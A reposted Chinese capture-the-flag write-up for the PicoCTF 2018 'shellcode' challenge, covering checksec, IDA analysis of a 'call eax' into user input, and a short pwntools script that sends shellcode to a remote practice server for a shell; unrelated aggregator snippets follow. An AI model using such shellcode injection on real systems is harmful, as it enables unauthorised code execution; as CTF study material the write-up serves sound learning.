PWN手的成长之路-04-PicoCTF_2018_shellcode

news/2025/9/29 23:31:33/文章来源:https://www.cnblogs.com/B0rry/p/19119707

image

先 nc 连接服务器,交互一下看看有什么效果。发现是让我们输入一个字符,之后程序再打印出来。
image

file 查看文件。32位的 ELF 可执行文件。
image

checksec 查看文件安全属性。没开任何保护。
image
NX 保护未开启,表明栈内存可被注入并执行任意机器码(shellcode),符合经典栈溢出利用的条件。此类漏洞通常需构造包含 /bin/bash 字符串的 shellcode 以获取交互式 shell 。

IDA打开此文件。因为代码被混淆了,导致无法反编译成伪代码,所以需要逐条分析汇编指令。
image

main 函数旁边看到了一个 vuln 函数,查看。发现了 gets 高危函数。
image

仔细查看 main 函数。
image
程序将用户的输入数据存储到 edp+var_A0 处,并通过 lea 将输入缓冲区地址加载至 eax 寄存器,随后作为参数传递给 vuln 函数,vuln 函数内存在关键指令 call eax,表明程序会直接跳转执行 eax 指向的地址,推测此处可能会存在任意代码执行漏洞。

image

反编译 vuln 函数,猜测 a1 会被加载到 eax 寄存器中。
image
因此用户输入的数据最终会被 call eax 执行因此需要构造一段机器码形式的shellcode,直接注入到栈中实现任意代码执行。

exp 构造思路:
构造包含 /bin/bash 字符串及系统调用执行的 shellcode,通过输入将其注入栈中,并利用call eax 触发执行,之后get shell。

from pwn import *  r=remote('node5.buuoj.cn',26081)  
context.log_level='debug'  
context.arch='i386'  
context.os='linux'  
shellcode=asm(shellcraft.sh())  
print(shellcode)  
r.send(shellcode)  
r.interactive()

最终得到交互式 shell
image

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/922342.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

最高人民法院新劳动争议司法解释一 理解与适用

最高人民法院新劳动争议司法解释一 理解与适用 第十六条 劳动争议仲裁机构作出仲裁裁决后,当事人对裁决中的部分事项不服,依法提起诉讼的,劳动争议仲裁裁决不发生法律效力。 【条文主旨】 本条是关于当事人对仲裁裁…

wordpress照片管理系统宁波如何做抖音seo搜索优化

线程池 构造函数处理过程拒绝策略JDK 内置的拒绝策略 Executors类实现线程池线程池大小设置 通过复用已创建的线程,降低资源损耗、线程可以直接处理队列中的任务加快响应速度、同时便于统一监控和管理。 构造函数 /*** 线程池构造函数7大参数*/ public ThreadPoolE…

个人博客网站设计模板技能培训学校

一、为什么要用分布式 ID? 在说分布式 ID 的具体实现之前,我们来简单分析一下为什么用分布式 ID?分布式 ID 应该满足哪些特征? 1、什么是分布式 ID? 拿 MySQL 数据库举个栗子: 在我们业务数据量不大的时…

西地那非片的副作用荆州seo技术厂家

配置步骤如下: 登陆或切换到root用户下;因为只有root用户才具有权限进行用户的添加,使用命令sudo su,切换为管理员用户添加用户 adduser -m youuser,并且在home路径下创建同名的用户文件夹passwd youuser,…

linux 做网站用哪个版本小地方的旅游网站怎么建设

题目描述 长整数排序。输入n 然后输入n个位数不超过100位的大整数,输入的整数可能含有前导0。将这n个长整数排序后输出,输出不含前导0。int greater(char *s1, char *s2){若s1指向的整数大于s2指向的整数,返回一个正整数;若s1指向的整数小于s…

深圳 网站建设设计网站建设pdf 下载

adb对于安卓移动端来说,是个非常重要的调试工具。本篇介绍常用的adb指令 文章目录 一、启动应用:adb shell am start二、使用浏览器打开指定网址:adb shell am start三、杀死应用进程adb shell am force-stop/adb shell am kill四、删除应用所…

免费商城网站制作项目推广网

图片来源: https://www.lvhang.site/docs/dotnettimeline 即梦AI - 一站式AI创作平台 一、历史发展脉络 在早期的微软平台编程中,常用的编程语言有 Visual Basic、C、C。到了 20 世纪 90 年代末,Win32 API、MFC(Microsoft Found…

网站备案 多少钱淘宝网客网站建设

前些天发现了一个巨牛的人工智能学习网站,通俗易懂,风趣幽默,忍不住分享一下给大家。点击跳转到教程。 1. 运行 cp -rf 命令时依旧给出无数提示,要求确认,很是麻烦,如下图: 2. 可能原因&#…

哪个网站可以做线上翻译赚钱免费帮忙做网站

虚拟机centos7安装docker springboot项目调试 1,安装docker, 参考菜鸟教程 Docker 要求 CentOS 系统的内核版本高于 3.10 1,查看系统版本信息 [root@runoob ~]# uname -r 2,移除旧的版本,切换到root用户下操作 sudo yum remove docker \ d…

US$1045 Xhorse VVDI2 VAG Full License VV01 VV02 VV03 VV04 VV05

Xhorse VVDI2 VAG Full License VV01 VV02 VV03 VV04 VV05License including:(VV-01) VAG 4th Generaion Immobilizer Yes(VV-02) VAG 5th Generaion Immobilizer Yes(VV-03) VAG OBD 48 Copy Yes(VV-04) ID48 96bit c…

网站开发知识产权推广咨询

下载嵌入式Python后解压 https://www.python.org/ftp/python/3.12.9/python-3.12.9-embed-amd64.zip cd python-3.12.9-embed-amd64 安装 pip .\python.exe .\get-pip.py 放开限制 嵌入式 Python 为了减少体积,默认会有一些限制。你需要编辑 python312._pth 文…

PyPI维护者遭遇钓鱼攻击:假冒登录网站威胁开源供应链安全

Python软件基金会警告针对PyPI维护者的钓鱼活动,攻击者使用伪造登录网站窃取凭证,威胁开源软件供应链安全。攻击采用专业设计的假冒网站和社交工程手段,可能引发广泛的软件供应链风险。针对PyPI维护者的钓鱼活动使用…

山西建设厅网站查不了企业网站建设网站模板

语法 [capture](parameters) mutalble->return-type{statement};capture [] :什么也不捕获[] : 按值的方式捕获所有变量[&] : 按引用方式捕获所有变量[boo] : 值捕获boo的值[,&a] : 按值捕获所有局部变量,按引用捕获变量a[,&…

冷链物流网站怎样做好网络推广工作

C到C C相比C语言来说,多了两个核心,五个内容:1、面向对象的思维;2、模板(泛型编型)1.bool 2.引用 3.内联 4.重载 5.缺省参数变量 数据类型 bool 布尔 占1个字节 取值:true false bool isMax(i…

米卓网站建设合肥最好的网站建设

初始化仓库 方法一: 新建一个文件夹,进入文件夹内部操作 1、右键--> 在这里创建Git 版本库 注意: 不要直接在桌面上操作,否则桌面就是一个仓库 方法二: 1、右键-->Git GUI here 方法三: 命令行模式 1、 git init 创建完毕仓库,我们发现,此时我们创建的文件夹下…

关键词挖掘站网wordpress分享缩略图不显示图片

ArkUI-X 5.0.1 Release版配套OpenHarmony 5.0.1 Rlease,API 13,新增适配部分API 13接口支持跨平台;框架能力进一步完善,支持Android应用非压缩模式,支持Android Fragment对接跨平台。ACE Tools工具易用性提升&#xff…

day14 课程()

day14 课程()课程:https://www.bilibili.com/video/BV1o4411M71o?spm_id_from=333.788.videopod.episodes&p=266 14.1 了解面向对象------------------------------------------------ 执行后14.2 了解类和对象…

US$119 CGDI BMW Upgrade for MSD80/81/85/87/MSV80/MSV90 Read ISN No Need Opening A0000017

CGDI BMW Upgrade for MSD80/81/85/87/MSV80/MSV90 Read ISN No Need Opening A0000017No need shipping, please pass us serial number of your CGDI BMW once paid.This authorization includes:A0000017 MSD80/81/…

深入解析:MyBatis的最佳搭档(MyBatis-Plus)

深入解析:MyBatis的最佳搭档(MyBatis-Plus)2025-09-29 22:57 tlnshuju 阅读(0) 评论(0) 收藏 举报pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: …

青岛网站建设培训简述网站建设基本流程图

java换行符的使用方法发布时间:2020-06-22 17:49:56来源:亿速云阅读:121作者:Leah这篇文章将为大家详细讲解有关java换行符的使用方法,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完…